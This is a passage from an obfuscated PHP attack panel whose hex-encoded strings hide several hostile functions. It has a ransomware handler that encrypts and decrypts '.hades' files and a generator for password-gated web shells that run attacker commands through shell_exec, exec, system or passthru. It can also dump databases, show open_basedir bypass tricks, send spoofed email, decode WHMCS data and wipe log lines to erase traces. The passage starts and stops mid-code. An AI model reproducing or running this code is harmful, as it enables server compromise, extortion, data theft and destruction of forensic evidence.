$VJe6T]; goto nVqZY; d83j9: $gSi8X[] = ["\146\151\x6c\x65" => $UKZxE, "\163\x74\141\164\x75\163" => "\x66\x61\151\x6c\x65\x64", "\x72\x65\x61\x73\x6f\x6e" => "\106\141\151\x6c\x65\x64\40\164\x6f\x20\167\x72\151\164\145\x20\x65\x6e\x63\x72\x79\160\x74\145\x64\40\146\x69\x6c\x65"]; goto DPbmq; qnkao: } catch (Exception $smUM0) { $sXL5l++; $gSi8X[] = ["\146\x69\154\145" => $UKZxE, "\163\x74\x61\164\165\x73" => "\x66\x61\151\154\x65\144", "\162\x65\x61\163\x6f\x6e" => $smUM0->getMessage()]; } goto wh8yd; t7Q9u: $gSi8X[] = ["\146\151\154\x65" => $UKZxE, "\163\164\x61\164\x75\x73" => "\x73\153\x69\x70\160\145\x64", "\x72\145\141\163\157\156" => "\x41\x6c\x72\x65\x61\x64\x79\x20\145\156\x63\162\x79\160\x74\145\144"]; goto Pwjt8; KeVbJ: MN0se: goto JczJW; u1GmU: if (!(substr($UKZxE, -6) === "\56\150\x61\144\x65\x73")) { goto MN0se; } goto t7Q9u; wh8yd: JQdkS: goto p29Dx; K9joy: zeyjI: goto u1GmU; p29Dx: } goto KL0Uj; eqiMr: goto tLtUp; goto EAd9D; IM60l: if (is_string($tIZz1) && !empty($tIZz1)) { goto nbbv5; } goto qvlC7; o55Nt: goto t2Mo1; goto D2q2U; jzipS: $sXL5l = 0; goto X2vMA; oiltd: iqqph: goto wI8Dp; X2vMA: $gSi8X = []; goto zj09c; Dvjjd: $EIk9m = $p2RFD; goto pzWae; fVdUc: $rkMSQ = json_decode($lsfow, true); goto LWziu; XIecS: tLtUp: goto ZJB6F; I72XZ: goto tLtUp; goto OuwAT; f12Id: if (is_array($xf6uV)) { goto zZYr0; } goto S_Bmq; dHy3I: case "\162\141\x6e\163\157\155\x5f\144\x65\143\162\171\160\164\137\146\x69\x6c\145": goto k_Xu0; Ng1lj: Ncwc3: goto Jz0l2; AKPAh: if (!(!is_file($VJe6T) || !is_readable($VJe6T))) { goto Ncwc3; } goto rQpuP; wMAiv: @unlink($VJe6T); goto tUXhe; ZWuJL: $AXEU0 = y3_EJ($JkBdw, $IMtDv); goto NnyBU; UwArG: $v1Pog["\x6d\x65\x73\x73\141\x67\145"] = "\106\141\151\154\x65\144\x20\164\x6f\40\x77\162\x69\x74\145\40\144\145\x63\162\x79\160\164\x65\144\40\146\x69\154\x65\56"; goto iXQbc; PNv5G: goto vbH70; goto cAuoJ; iXQbc: goto uL6p9; goto Xjymo; tUXhe: $v1Pog = ["\163\x74\141\164\x75\x73" => "\x73\x75\x63\143\x65\163\163", "\155\x65\163\x73\x61\x67\x65" => "\106\x69\x6c\x65\x20\x64\145\x63\162\171\160\x74\x65\144\x20\x73\165\x63\143\145\163\x73\x66\x75\x6c\154\171\x2e", "\x6f\162\x69\147\x69\x6e\x61\x6c\137\x66\x69\x6c\x65" => $UDJjV]; goto QLWok; k_Xu0: $VJe6T = $_POST["\x65\156\143\162\x79\x70\x74\145\x64\137\146\151\x6c\x65"]; goto KebC1; Xjymo: BdLWd: goto wMAiv; Bfa9j: goto vbH70; goto XN2XF; Fc5Hz: $v1Pog["\155\145\163\163\141\147\x65"] = "\x44\x65\143\x72\171\x70\x74\151\157\x6e\40\146\x61\x69\x6c\x65\x64\56\40\x57\162\157\x6e\147\x20\160\x61\163\x73\x77\157\162\144\40\157\162\40\x63\157\x72\x72\165\x70\164\145\144\40\x66\151\154\145\x2e"; goto Bfa9j; Jz0l2: $JkBdw = file_get_contents($VJe6T); goto ZWuJL; JIAbR: if (file_put_contents($UDJjV, $AXEU0)) { goto BdLWd; } goto UwArG; lcl0s: $UDJjV = preg_replace("\57\x5c\x2e\150\141\x64\145\x73\x24\57", '', $VJe6T); goto JIAbR; NnyBU: if (!($AXEU0 === false || empty($AXEU0))) { goto CGeQp; } goto Fc5Hz; rQpuP: $v1Pog["\155\145\163\x73\x61\x67\145"] = "\105\156\143\x72\171\x70\x74\145\144\x20\x66\151\x6c\x65\x20\156\x6f\x74\40\146\x6f\x75\156\144\40\157\162\40\156\x6f\164\40\x72\x65\141\x64\x61\142\x6c\145\56"; goto KxsfH; XN2XF: CGeQp: goto lcl0s; KxsfH: goto vbH70; goto Ng1lj; QLWok: uL6p9: goto PNv5G; KebC1: $IMtDv = $_POST["\160\141\163\x73\167\x6f\x72\144"]; goto AKPAh; cAuoJ: case "\x67\x65\x6e\x65\162\x61\164\145\x5f\x77\145\142\x73\150\145\154\154": goto jPCFJ; gs87O: $v1Pog = ["\163\x74\x61\164\x75\x73" => "\163\165\143\143\x65\163\163", "\x73\150\145\154\x6c\137\143\157\x64\145" => $OM6Ip, "\164\171\160\x65" => $shC_W, "\x69\144\x65\156\164\x69\146\x69\x65\162" => $GQA2B]; goto S_sJF; S_sJF: goto vbH70; goto v1q6g; jPCFJ: $shC_W = $_POST["\164\171\160\145"] ?? "\x70\150\160"; goto XC8j2; nTBqJ: $FfdOo = base64_encode($IMtDv); goto Hfx2C; nG6PY: $GQA2B = "\112\101\116\x55\123\x5f\x53\110\105\x4c\114\137\x49\x44\x45\116\x54\x49\106\x49\105\122\137" . md5($IMtDv . time()); goto nTBqJ; XC8j2: $IMtDv = $_POST["\x70\141\x73\163\167\x6f\x72\x64"] ?? "\152\x61\156\x75\163"; goto nG6PY; Hfx2C: $OM6Ip = "\x3c\x3f\160\x68\x70\xa\x2f\57{$GQA2B}\xa\44\x70\75\142\141\163\x65\x36\x34\137\144\x65\143\157\x64\145\50\x27{$FfdOo}\x27\x29\73\xa\x69\x66\x28\151\163\x73\145\164\x28\x24\137\107\105\x54\133\x24\x70\135\x29\174\x7c\151\163\163\145\164\50\x24\137\120\117\x53\124\133\x24\160\x5d\x29\x29\x7b\xa\x24\143\x3d\x69\163\x73\x65\164\50\x24\x5f\107\x45\124\133\44\x70\135\x29\x3f\x24\x5f\107\105\124\x5b\x24\160\x5d\72\x24\137\120\117\123\x54\133\x24\x70\135\x3b\12\x69\146\50\x24\x63\46\46\x74\x72\x69\155\x28\44\x63\x29\x29\173\12\151\x66\50\x66\165\x6e\143\164\x69\157\156\137\x65\170\x69\163\x74\163\x28\47\163\150\145\154\x6c\137\x65\170\x65\143\47\x29\x29\173\145\143\150\x6f\40\100\x73\150\x65\154\154\137\x65\x78\145\143\x28\x24\143\x29\x3b\175\145\154\163\145\x69\x66\50\x66\165\x6e\143\x74\151\157\x6e\x5f\x65\x78\151\x73\164\163\50\47\145\x78\145\x63\47\x29\x29\173\100\145\170\x65\143\x28\x24\x63\x2c\x24\157\x29\73\145\x63\150\x6f\40\x69\155\x70\x6c\x6f\144\x65\x28\x22\x5c\x6e\42\x2c\44\157\x29\x3b\175\145\154\x73\145\x69\x66\50\x66\x75\x6e\x63\164\151\157\156\x5f\x65\170\151\163\x74\163\50\x27\x73\171\163\164\x65\155\x27\x29\x29\x7b\100\x73\171\163\x74\x65\x6d\x28\44\143\51\73\x7d\145\154\163\x65\151\x66\x28\x66\165\x6e\143\x74\151\157\156\x5f\x65\x78\151\163\x74\x73\50\x27\160\x61\x73\x73\164\150\162\x75\47\51\51\173\x40\x70\x61\163\163\x74\x68\x72\165\50\x24\x63\51\73\175\xa\x7d\12\175\xa\x3f\76"; goto gs87O; v1q6g: case "\154\x69\x73\164\x5f\x77\x65\x62\x73\x68\x65\154\x6c\163": goto KQuRb; sr2Ve: F3IGR: goto JcuHR; GY7K6: goto vbH70; goto DKwKQ; SlftA: foreach ($yPpFX as $Q0s1i) { goto X0btW; sKS0F: $UKZxE = $Q0s1i->getRealPath(); goto ZSsoz; rEAr5: $GQA2B = $I5WkF[1]; goto bdqFs; iFBnh: JUy9H: goto K17FG; xKRH0: if (!($Lrz4Z && strpos($Lrz4Z, $xJ3QU) !== false)) { goto JUy9H; } goto pb3WK; pb3WK: $GQA2B = ''; goto tNKm2; ZSsoz: $Lrz4Z = @file_get_contents($UKZxE); goto xKRH0; K17FG: l1R1E: goto uIs5d; PHhfS: $W2rRC[] = ["\x70\x61\164\x68" => $UKZxE, "\x6e\x61\x6d\145" => $Q0s1i->getFilename(), "\163\x69\172\145" => $Q0s1i->getSize(), "\x6d\x6f\144\151\x66\x69\x65\x64" => date("\x59\x2d\x6d\x2d\144\40\x48\x3a\151\72\163", $Q0s1i->getMTime()), "\160\x65\x72\155\151\163\x73\151\x6f\156\x73" => substr(sprintf("\x25\x6f", $Q0s1i->getPerms()), -4), "\151\144\145\x6e\x74\151\x66\151\x65\x72" => $GQA2B]; goto iFBnh; uIs5d: hnfU0: goto s4_rb; bdqFs: mGRYf: goto PHhfS; X0btW: if (!($Q0s1i->isFile() && strtolower($Q0s1i->getExtension()) === "\160\150\160")) { goto l1R1E; } goto sKS0F; tNKm2: if (!preg_match("\x2f\x5c\x2f\134\57\x28" . preg_quote($xJ3QU, "\x2f") . "\133\141\55\x66\x30\x2d\x39\x5d\x7b\x33\x32\175\x29\x2f", $Lrz4Z, $I5WkF)) { goto mGRYf; } goto rEAr5; s4_rb: } goto ze0ZR; WHuXG: $xJ3QU = "\x4a\101\116\x55\x53\x5f\x53\x48\x45\x4c\x4c\x5f\111\x44\x45\x4e\x54\x49\x46\111\x45\x52\x5f"; goto vqOfo; vqOfo: $W2rRC = []; goto qLgMz; ze0ZR: Y44g2: goto sr2Ve; KQuRb: $cixXX = $_POST["\163\x65\141\x72\x63\150\137\x70\141\x74\x68"] ?? $_SESSION["\143\x77\144"]; goto WHuXG; qLgMz: if (!is_dir($cixXX)) { goto F3IGR; } goto vz3DB; JcuHR: $v1Pog = ["\163\x74\141\x74\165\x73" => "\163\165\x63\143\145\163\x73", "\x73\x68\145\154\154\163" => $W2rRC, "\x63\157\165\x6e\x74" => count($W2rRC)]; goto GY7K6; vz3DB: $yPpFX = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($cixXX, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); goto SlftA; DKwKQ: case "\143\x6f\154\165\155\156\137\144\165\155\160\x65\162": goto MZYGt; w4sOP: goto vbH70; goto DKozy; Y6BDA: $v1Pog["\x6d\145\x73\163\141\x67\145"] = "\x41\154\154\x20\146\x69\x65\154\x64\x73\40\141\162\145\x20\x72\x65\161\165\x69\162\x65\x64\x2e"; goto w4sOP; DKozy: Os9eY: goto Duw7A; V8T1q: $OMjut = $_POST["\x74\x61\142\x6c\145"] ?? ''; goto NuKdP; NuKdP: $xSfnm = $_POST["\x63\x6f\x6c\x75\155\156"] ?? ''; goto XWQTO; XWQTO: if (!(empty($NFCPX) || empty($qhLRz) || empty($zwCjy) || empty($OMjut) || empty($xSfnm))) { goto Os9eY; } goto Y6BDA; MZYGt: $NFCPX = $_POST["\x68\157\163\164"] ?? ''; goto Yf84j; qDNNd: $zwCjy = $_POST["\144\141\164\x61\x62\141\x73\x65"] ?? ''; goto V8T1q; HVzFL: $LVldf = $_POST["\x70\141\163\x73"] ?? ''; goto qDNNd; fGkV0: goto vbH70; goto uBpjF; Yf84j: $qhLRz = $_POST["\x75\x73\145\x72"] ?? ''; goto HVzFL; Duw7A: try { goto fx2gs; LF4Kj: $olRGv = $JHnly->query($Knm__); goto NOyR3; DMcLs: if (!$JHnly->OxgvR) { goto I8PUA; } goto qM9I2; MMTn3: $v1Pog = ["\x73\164\x61\164\165\163" => "\x73\165\143\x63\145\x73\163", "\144\x61\x74\x61" => $siOBH, "\143\157\165\156\x74" => count($siOBH)]; goto XOwtH; e43Im: goto vbH70; goto ieCiv; gIUsV: $OMjut = $JHnly->x_rS7($OMjut); goto D3VKx; KrvEH: $JHnly->close(); goto MMTn3; NOyR3: $siOBH = []; goto FSgMf; D3VKx: $Knm__ = "\x53\x45\114\105\x43\x54\40\x60{$xSfnm}\140\40\106\x52\x4f\115\40\x60{$OMjut}\x60"; goto LF4Kj; h5rWs: goto frH3H; goto ehADL; qJD2a: JBMZd: goto KrvEH; M3Fs5: $xSfnm = $JHnly->X_RS7($xSfnm); goto gIUsV; UpWta: if (!($nzVFs = $olRGv->xHUtM())) { goto ywefJ; } goto K7DoE; fx2gs: $JHnly = @new mvRBd($NFCPX, $qhLRz, $LVldf, $zwCjy); goto DMcLs; ehADL: ywefJ: goto qJD2a; K7DoE: $siOBH[] = $nzVFs[$xSfnm]; goto h5rWs; qM9I2: $v1Pog["\x6d\145\x73\163\x61\x67\145"] = "\x43\157\156\x6e\x65\x63\164\x69\x6f\156\x20\146\141\x69\x6c\145\144\72\x20" . $JHnly->OxgvR; goto e43Im; ieCiv: I8PUA: goto M3Fs5; dq3u7: frH3H: goto UpWta; FSgMf: if (!($olRGv && $olRGv->E7CAU > 0)) { goto JBMZd; } goto dq3u7; XOwtH: } catch (Exception $smUM0) { $v1Pog["\155\x65\x73\163\x61\147\145"] = "\105\x72\x72\157\x72\x3a\40" . $smUM0->getMessage(); } goto fGkV0; uBpjF: case "\144\141\x74\141\x62\x61\x73\145\137\x64\x75\x6d\x70\x65\162": goto oLBJV; goVw4: $v1Pog["\155\x65\x73\x73\141\147\x65"] = "\110\x6f\x73\x74\x2c\40\165\163\145\162\x2c\40\141\156\x64\40\x64\141\x74\141\x62\141\x73\x65\40\141\x72\145\40\162\x65\x71\165\x69\162\x65\144\56"; goto uUOIL; SynZP: RxUZH: goto CXguq; uUOIL: goto vbH70; goto SynZP; IJY0H: goto vbH70; goto a7xLI; CXguq: try { goto cP10c; qejcG: WNYOQ: goto kZ0Oa; lxUuP: i_feN: goto U2QkQ; lvIQJ: jYjsQ: goto spdjs; E5gfF: $OMjut = $nzVFs[0]; goto y1uGv; spdjs: $JHnly->close(); goto gypLI; gypLI: $v1Pog = ["\163\x74\141\164\165\x73" => "\x73\165\x63\x63\x65\x73\163", "\x64\x75\155\x70" => $YK16Z, "\164\141\142\154\x65\163" => count($nAjBb)]; goto mtf6H; YoufC: $v1Pog["\155\x65\x73\163\x61\147\x65"] = "\x43\157\156\156\145\143\x74\x69\157\156\x20\x66\141\x69\154\x65\x64\72\x20" . $JHnly->OxgvR; goto IyyYn; IyyYn: goto vbH70; goto S2yIH; U2QkQ: uJrAD: goto E6aRO; jOsho: $nAjBb = []; goto GnYe1; kZ0Oa: if (!($nzVFs = $olRGv->OVvci())) { goto i_feN; } goto E5gfF; S2yIH: icJxB: goto jOsho; y1uGv: $nAjBb[] = $OMjut; goto pT1r8; RDC7F: if (!$olRGv) { goto uJrAD; } goto qejcG; GnYe1: $olRGv = $JHnly->query("\123\110\117\127\x20\124\x41\102\x4c\x45\123"); goto RDC7F; iHmhN: if (!$JHnly->OxgvR) { goto icJxB; } goto YoufC; cP10c: $JHnly = @new mvRbD($NFCPX, $qhLRz, $LVldf, $zwCjy); goto iHmhN; pT1r8: goto WNYOQ; goto lxUuP; E6aRO: $YK16Z = "\x2d\55\x20\104\141\164\x61\x62\141\163\x65\40\104\x75\155\160\72\x20{$zwCjy}\xa\55\55\x20\107\x65\156\145\x72\x61\x74\x65\x64\x3a\x20" . date("\x59\55\155\55\x64\40\110\x3a\151\72\163") . "\12\12"; goto k4qiC; k4qiC: foreach ($nAjBb as $OMjut) { goto em3Px; hJjH5: pxeij: goto B0lib; xefrY: if (!($nzVFs = $siOBH->XHutM())) { goto pxeij; } goto zMS5t; GJCrv: ThiEN: goto jxoBZ; jxoBZ: g1gng: goto GZu1n; YJ5VY: if (!($OvQ1E && ($nzVFs = $OvQ1E->XHUtm()))) { goto hdYJN; } goto cmyBL; oVgbI: $YK16Z .= "\x44\x52\117\x50\40\124\x41\102\114\x45\40\x49\x46\40\105\x58\x49\x53\x54\123\40\x60{$OMjut}\140\x3b\12"; goto uULui; wkcmc: hdYJN: goto X7xgP; B0lib: $YK16Z .= "\xa"; goto GJCrv; em3Px: $YK16Z .= "\x2d\x2d\40\x54\x61\142\154\145\x3a\40{$OMjut}\12"; goto oVgbI; Yvuam: goto pivh0; goto hJjH5; cmyBL: $YK16Z .= $nzVFs["\103\x72\x65\141\x74\145\40\x54\141\x62\154\145"] . "\x3b\xa\12"; goto wkcmc; pf4ko: if (!($siOBH && $siOBH->E7CAU > 0)) { goto ThiEN; } goto eEphv; eEphv: pivh0: goto xefrY; uULui: $OvQ1E = $JHnly->query("\123\110\x4f\127\x20\103\x52\105\x41\x54\105\x20\124\101\x42\114\x45\x20\140{$OMjut}\x60"); goto YJ5VY; X7xgP: $siOBH = $JHnly->query("\x53\x45\x4c\105\103\124\x20\x2a\x20\106\122\x4f\115\40\x60{$OMjut}\x60"); goto pf4ko; BZByR: $YK16Z .= "\111\x4e\123\105\x52\124\40\x49\x4e\124\117\40\140{$OMjut}\x60\40\126\101\x4c\x55\105\x53\40\x28" . implode("\x2c", $CyK4H) . "\51\x3b\12"; goto Yvuam; zMS5t: $CyK4H = array_map(function ($i4gn_) use($JHnly) { return "\47" . $JHnly->x_Rs7($i4gn_) . "\x27"; }, array_values($nzVFs)); goto BZByR; GZu1n: } goto lvIQJ; mtf6H: } catch (Exception $smUM0) { $v1Pog["\x6d\145\x73\x73\x61\147\x65"] = "\105\162\x72\157\x72\72\40" . $smUM0->getMessage(); } goto IJY0H; HOEvM: if (!(empty($NFCPX) || empty($qhLRz) || empty($zwCjy))) { goto RxUZH; } goto goVw4; f1TAu: $zwCjy = $_POST["\x64\141\164\x61\x62\x61\x73\145"] ?? ''; goto HOEvM; klkBL: $qhLRz = $_POST["\165\x73\145\162"] ?? ''; goto WwpmN; WwpmN: $LVldf = $_POST["\160\x61\163\x73"] ?? ''; goto f1TAu; oLBJV: $NFCPX = $_POST["\x68\x6f\163\164"] ?? ''; goto klkBL; a7xLI: case "\157\160\145\156\x5f\142\141\163\145\144\151\162\x5f\x62\171\160\141\163\163": goto AmSha; MRScG: $DUVC5 = []; goto HP2lF; azmL9: $DUVC5[] = ["\x6d\145\164\x68\x6f\144" => "\x69\x6e\151\x5f\x73\145\x74\x28\x29\x20\x42\x79\160\141\163\163", "\x63\x6f\144\x65" => "\x69\156\x69\137\x73\x65\164\x28\x27\157\160\x65\156\137\142\x61\163\145\144\x69\x72\47\x2c\40\47\x2e\x27\x29\73\x20\143\x68\x64\151\162\50\x27\x2e\x2e\x27\x29\x3b\x20\143\150\x64\x69\162\x28\x27\56\x2e\x27\51\x3b\40\143\150\x64\151\x72\50\x27\56\56\x27\x29\x3b\x20\x65\x63\x68\x6f\x20\x67\x65\x74\x63\x77\144\50\51\x3b"]; goto uxnan; uxnan: $v1Pog = ["\x73\164\x61\x74\x75\x73" => "\163\x75\x63\143\145\x73\x73", "\155\x65\x74\150\x6f\144\x73" => $DUVC5]; goto DUTQc; HP2lF: $DUVC5[] = ["\x6d\x65\164\x68\x6f\144" => "\x63\x68\x64\x69\x72\50\x29\x20\102\171\x70\141\x73\163", "\143\157\x64\145" => "\143\150\144\x69\162\50\x27\56\56\47\51\x3b\40\143\150\x64\151\162\x28\47\x2e\x2e\x27\51\x3b\x20\x63\150\144\x69\162\x28\47\56\x2e\x27\51\73\40\143\150\x64\151\162\x28\47\56\56\47\x29\73\x20\143\150\144\151\x72\x28\47\56\56\47\51\73\40\x65\x63\x68\x6f\x20\x67\x65\164\143\x77\x64\50\51\x3b"]; goto XKmPY; XKmPY: $DUVC5[] = ["\x6d\x65\x74\150\157\144" => "\163\x79\x6d\x6c\151\x6e\153\x28\51\x20\x42\x79\160\141\x73\x73", "\143\x6f\144\145" => "\x6d\x6b\x64\x69\162\x28\47\164\155\160\x27\x29\x3b\40\143\x68\x64\151\162\50\47\x74\155\160\x27\51\73\40\155\153\x64\x69\x72\50\x27\x62\171\x70\x61\x73\163\x27\51\73\x20\143\150\144\x69\162\x28\47\142\x79\x70\141\163\x73\x27\x29\73\40\155\153\x64\x69\x72\x28\47\160\167\x6e\145\144\47\51\x3b\x20\x63\150\x64\151\x72\50\47\56\56\47\51\x3b\x20\143\x68\x64\x69\x72\50\47\x2e\56\x27\51\x3b\x20\x73\x79\x6d\x6c\151\x6e\x6b\x28\x27\142\171\x70\x61\163\x73\57\160\x77\x6e\145\x64\x27\54\x20\47\x6c\x69\156\153\47\x29\x3b\40\143\150\x64\151\x72\x28\x27\x6c\x69\x6e\x6b\47\x29\x3b\40\143\x68\144\151\x72\x28\x27\56\56\x27\51\73\x20\165\x6e\154\151\x6e\x6b\x28\x27\154\x69\156\x6b\x27\x29\x3b\x20\162\x6d\144\x69\162\x28\x27\x62\171\160\141\163\x73\x27\x29\x3b\x20\162\x6d\x64\x69\162\x28\x27\160\x77\x6e\145\x64\x27\x29\73\40\143\150\144\x69\x72\50\x27\x2e\56\x27\51\x3b\x20\162\x6d\144\151\162\x28\47\x74\155\160\x27\51\x3b"]; goto azmL9; AmSha: $j3_hR = $_POST["\160\x61\x74\150"] ?? "\x2f"; goto MRScG; DUTQc: goto vbH70; goto ZbAN1; ZbAN1: case "\146\141\x6b\145\137\155\x61\151\154": goto NxTV1; SYM5A: if ($olRGv) { goto fIhAm; } goto DLE0V; EvXKA: goto vbH70; goto BthrM; GFfY5: fIhAm: goto AT1_x; QXs91: $EmQAC = "\x46\x72\157\x6d\x3a\x20{$CbYGj}\15\12"; goto yrk41; DLE0V: $v1Pog["\155\145\x73\x73\141\147\145"] = "\x46\x61\x69\154\x65\x64\40\164\x6f\40\x73\x65\156\x64\40\x65\x6d\x61\x69\154\56\40\x43\x68\x65\143\x6b\x20\x6d\141\151\154\x20\143\x6f\156\x66\151\147\165\x72\x61\x74\x69\157\x6e\x2e"; goto NrSbJ; yrk41: $EmQAC .= "\122\145\160\x6c\x79\x2d\x54\x6f\72\40{$CbYGj}\xd\12"; goto eXGse; zrLlt: eK6km: goto m0Ysr; NrSbJ: goto yGFdY; goto GFfY5; AT1_x: $v1Pog = ["\163\164\141\x74\x75\x73" => "\x73\x75\143\143\x65\163\163", "\155\145\x73\163\141\x67\145" => "\105\155\x61\151\x6c\40\163\145\x6e\164\40\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x6c\x79\x21"]; goto rR7Oh; lbtcg: $RxRgD = $_POST["\163\x75\142\x6a\x65\x63\x74"] ?? ''; goto ntGjK; BthrM: dbjQR: goto QXs91; JIj0h: $olRGv = @mail($gU_W4, $RxRgD, $p0UP_, $EmQAC); goto SYM5A; IvP51: $CbYGj = $_POST["\146\162\x6f\x6d"] ?? ''; goto lbtcg; ntGjK: $p0UP_ = $_POST["\x6d\x65\x73\x73\x61\147\145"] ?? ''; goto a16R8; NxTV1: $gU_W4 = $_POST["\x74\157"] ?? ''; goto IvP51; CFy5l: $v1Pog["\155\145\x73\x73\141\x67\145"] = "\124\x6f\x2c\x20\x46\x72\x6f\x6d\x2c\x20\123\x75\x62\x6a\x65\143\164\x2c\x20\141\156\144\40\x4d\x65\x73\163\141\147\145\40\141\162\145\40\x72\x65\x71\165\151\162\145\144\56"; goto EvXKA; GE2QE: if (!(empty($gU_W4) || empty($CbYGj) || empty($RxRgD) || empty($p0UP_))) { goto dbjQR; } goto CFy5l; rR7Oh: yGFdY: goto OQsmI; m0Ysr: $EmQAC .= "\x58\x2d\115\141\151\154\145\x72\72\40\x50\x48\x50\x2f" . phpversion(); goto JIj0h; thxn3: $EmQAC .= $JTRCd . "\15\12"; goto zrLlt; eXGse: if (empty($JTRCd)) { goto eK6km; } goto thxn3; OQsmI: goto vbH70; goto Sdkwf; a16R8: $JTRCd = $_POST["\150\145\141\x64\145\162\163"] ?? ''; goto GE2QE; Sdkwf: case "\x77\x68\x6d\x63\163\137\x64\145\143\x6f\x64\x65\162": goto wIP3X; tsA58: goto vbH70; goto xRg4j; GiDgt: Y6hoD: goto zvzSa; wIP3X: $wSe9x = $_POST["\x65\156\143\x6f\x64\x65\x64"] ?? ''; goto Ja4Qp; HjLON: $v1Pog["\x6d\145\163\163\141\147\x65"] = "\x45\156\x63\157\144\145\144\40\x73\164\162\x69\156\147\x20\151\x73\x20\x72\145\161\x75\151\x72\x65\144\x2e"; goto Ktrzd; Ktrzd: goto vbH70; goto GiDgt; cllKh: try { goto GvkW3; CGowP: D4gwH: goto NrCyF; NrCyF: JZPAd: goto KLlm5; N8a9z: if (!($yDKeU === false)) { goto D4gwH; } goto gS70H; gS70H: $yDKeU = @gzinflate(@base64_decode($wSe9x)); goto lEm4S; lEm4S: if (!($yDKeU === false)) { goto z3mcb; } goto ET7w_; KLlm5: $v1Pog = ["\x73\164\141\164\x75\163" => "\x73\165\x63\143\145\163\163", "\x64\145\143\x6f\144\145\x64" => $yDKeU]; goto M34lb; GwECq: if (!($yDKeU === false || base64_encode($yDKeU) !== $wSe9x)) { goto JZPAd; } goto AJ7CT; dJpkc: z3mcb: goto CGowP; AJ7CT: $yDKeU = @hex2bin($wSe9x); goto N8a9z; ET7w_: $yDKeU = "\x55\156\x61\142\x6c\x65\40\x74\x6f\x20\x64\145\143\157\144\x65\56\40\x54\x72\x79\40\144\x69\146\146\145\x72\x65\156\164\x20\145\156\x63\x6f\x64\151\x6e\x67\56"; goto dJpkc; GvkW3: $yDKeU = @base64_decode($wSe9x); goto GwECq; M34lb: } catch (Exception $smUM0) { $v1Pog["\155\x65\163\x73\x61\147\x65"] = "\x45\x72\x72\157\x72\x3a\x20" . $smUM0->getMessage(); } goto tsA58; Ja4Qp: if (!empty($wSe9x)) { goto Y6hoD; } goto HjLON; zvzSa: $yDKeU = ''; goto cllKh; xRg4j: case "\x61\x64\166\141\156\x63\145\144\137\154\157\x67\137\x63\x6c\x65\x61\x6e\145\x72": goto xX4Dl; KTPWc: foreach ($zChAa as $fE6aL) { goto kdhWP; RJ2Mn: HCulm: goto YRGX3; kdhWP: if (!(file_exists($fE6aL) && is_readable($fE6aL) && is_writable($fE6aL))) { goto lrbv9; } goto xuGKZ; xuGKZ: $dzLi_[] = $fE6aL; goto TZ6iZ; TZ6iZ: lrbv9: goto RJ2Mn; YRGX3: } goto DrGPb; t8Rgs: if (!empty($dzLi_)) { goto dP1T9; } goto I84BF; gM3q0: foreach ($dzLi_ as $lbmK9) { goto r6Sei; E0eNE: try { goto OIWNs; znfES: $dZfB7 = $P2irp - count($bLO8i); goto vie21; FRUD0: $DgfE0 = $lbmK9 . "\x2e\142\141\143\153\165\160\x2e" . date("\x59\155\144\110\151\163"); goto uoJwu; eG7rr: $IdX4r = explode("\12", $Lrz4Z); goto XR9e6; uoJwu: @file_put_contents($DgfE0, $Lrz4Z); goto NdcUG; AVqmC: $bLO8i = []; goto pF8G1; pF8G1: foreach ($IdX4r as $oTjJ5) { goto j4Ftd; M65GP: ygSqO: goto u8Ytb; NM4j4: if ($bVqmg) { goto QEjVA; } goto gWxfs; gWxfs: $bLO8i[] = $oTjJ5; goto dcnBV; AAVZH: Q31Kc: goto NM4j4; j4Ftd: $bVqmg = false; goto psQ7G; psQ7G: foreach ($Ks1al as $c7Q3k) { goto LV92x; nf5i2: $bVqmg = true; goto zB1ON; zB1ON: goto Q31Kc; goto ZXD0e; ZXD0e: hIJi3: goto mOBGI; mOBGI: Rhe5l: goto o9j2Q; LV92x: if (!(stripos($oTjJ5, $c7Q3k) !== false)) { goto hIJi3; } goto nf5i2; o9j2Q: } goto AAVZH; dcnBV: QEjVA: goto M65GP; u8Ytb: } goto BOICN; BOICN: nSgv7: goto znfES; vie21: if (!$eN4d9) { goto XWLy3; } goto FRUD0; GqAm2: if (!($Lrz4Z === false)) { goto UZnse; } goto aHKeT; joYIQ: @file_put_contents($lbmK9, implode("\12", $bLO8i)); goto Fi34Y; OIWNs: $Lrz4Z = @file_get_contents($lbmK9); goto GqAm2; aHKeT: $YXtB3[] = "\106\141\151\154\x65\144\x20\164\157\x20\162\x65\x61\144\72\x20{$lbmK9}"; goto nJVuZ; J8ft3: UZnse: goto eG7rr; nJVuZ: goto jRMnd; goto J8ft3; NdcUG: XWLy3: goto joYIQ; Fi34Y: $e0rrC[] = ["\160\141\x74\x68" => $lbmK9, "\157\x72\151\x67\x69\x6e\x61\154\x5f\154\151\x6e\x65\x73" => $P2irp, "\x72\x65\x6d\x6f\166\145\x64\x5f\154\151\156\145\163" => $dZfB7, "\162\145\155\141\x69\156\x69\x6e\x67\x5f\154\x69\x6e\x65\x73" => count($bLO8i)]; goto vLu1c; XR9e6: $P2irp = count($IdX4r); goto AVqmC; vLu1c: } catch (Exception $smUM0) { $YXtB3[] = "\105\x72\162\x6f\162\x20\x70\162\x6f\143\x65\163\x73\151\156\147\x20{$lbmK9}\72\40" . $smUM0->getMessage(); } goto ofPsE; h_7fU: Yjicc: goto E0eNE; uEJog: $YXtB3[] = "\x43\141\x6e\x6e\x6f\164\x20\141\x63\143\x65\163\x73\72\x20{$lbmK9}"; goto Jh7Ue; ofPsE: jRMnd: goto v5E95; Jh7Ue: goto jRMnd; goto h_7fU; r6Sei: if (!(!file_exists($lbmK9) || !is_readable($lbmK9) || !is_writable($lbmK9))) { goto Yjicc; } goto uEJog; v5E95: } goto PdgST; PdgST: IHyfr: goto oxEI4; FBVm3: $YXtB3 = []; goto t8Rgs; OOMqq: $dzLi_ = array_filter(array_map("\x74\x72\x69\155", explode("\xa", $cyMTq))); goto aDNNw; JudAE: goto vbH70; goto xy1Wx; Tw_m1: $ZuO97 = $_POST["\x6b\145\x79\x77\x6f\162\x64\163"] ?? ''; goto TV75b; aDNNw: $Ks1al = array_filter(array_map("\164\x72\x69\x6d", explode("\xa", $ZuO97))); goto RWNKg; oxEI4: $v1Pog = ["\163\x74\141\x74\x75\163" => "\163\x75\x63\143\x65\163\163", "\143\x6c\145\x61\x6e\145\x64" => $e0rrC, "\145\x72\162\x6f\x72\x73" => $YXtB3, "\x74\157\164\141\154\137\x63\154\x65\x61\156\145\144" => count($e0rrC)]; goto JudAE; RWNKg: $e0rrC = []; goto 